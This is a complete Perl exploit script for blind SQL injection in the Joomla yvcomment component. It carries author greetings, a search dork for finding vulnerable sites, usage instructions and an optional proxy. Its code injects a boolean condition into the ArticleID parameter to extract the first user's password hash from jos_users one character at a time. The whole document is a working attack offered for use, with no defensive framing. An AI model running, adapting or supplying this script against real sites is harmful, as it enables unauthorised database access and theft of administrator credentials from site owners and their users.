#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[1])
{
  print "                                                                        n";
  print "  ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooon";
  print "  o   Joomla Component yvcomment Blind SQL Injection Exploit            on";
  print "  o   Author:His0k4 [ALGERIAN HaCkeR]                                   on";
  print "  o                                                                     on";
  print "  o   Conctact: His0k4.hlm[at]gamil.com                                 on";
  print "  o   Greetz:   All friends & muslims HacKeRs                           on";
  print "  o                                                                     on";
  print "  o   Dork :   inurl:yvcomment                                          on";
  print "  o   Usage:   perl yvcomment.pl host path <options>                    on";
  print "  o   Example: perl yvcomment.pl www.host.com /joomla/ -a 2             on";
  print "  o                                                                     on";
  print "  o   Options:                                                          on";
  print "  o     -a   valid Article id                                           on";
  print "  o   Note:                                                             on";
  print "  o You can Change the match string by any content of the correct query on";
  print "  ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooon";
  exit;
}

my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $userid  = 1;
my $aid     = $ARGV[2];

my %options = ();
GetOptions(%options, "u=i", "p=s", "a=i");

print "[~] Exploiting...n";

if($options{"u"})
{
  $userid = $options{"u"};
}

if($options{"a"})
{
  $aid = $options{"a"};
}

syswrite(STDOUT, "[~] MD5-Hash: ", 14);

for(my $i = 1; $i <= 32; $i++)
{
  my $f = 0;
  my $h = 48;
  while(!$f && $h <= 57)
  {
    if(istrue2($host, $path, $userid, $aid, $i, $h))
    {
      $f = 1;
      syswrite(STDOUT, chr($h), 1);
    }
    $h++;
  }
  if(!$f)
  {
    $h = 97;
    while(!$f && $h <= 122)
    {
      if(istrue2($host, $path, $userid, $aid, $i, $h))
      {
        $f = 1;
        syswrite(STDOUT, chr($h), 1);
      }
      $h++;
    }
  }
}

print "n[~] Exploiting donen";

sub istrue2
{
  my $host  = shift;
  my $path  = shift;
  my $uid   = shift;
  my $aid   = shift;
  my $i     = shift;
  my $h     = shift;
 
  my $ua = LWP::UserAgent->new;
  my $query = "http://".$host.$path."index.php?option=com_yvcomment&view=comment&ArticleID=".$aid." and ascii(SUBSTRING((SELECT password FROM jos_users LIMIT 0,1 ),".$i.",1))=".$h."";
 
  if($options{"p"})
  {
    $ua->proxy('http', "http://".$options{"p"});
  }
 
  my $resp = $ua->get($query);
  my $content = $resp->content;
  my $regexp = "DateAndAuthor";
 
  if($content =~ /$regexp/)
  {
    return 1;
  }
  else
  {
    return 0;
  }

}

# www.Syue.com [2008-06-08]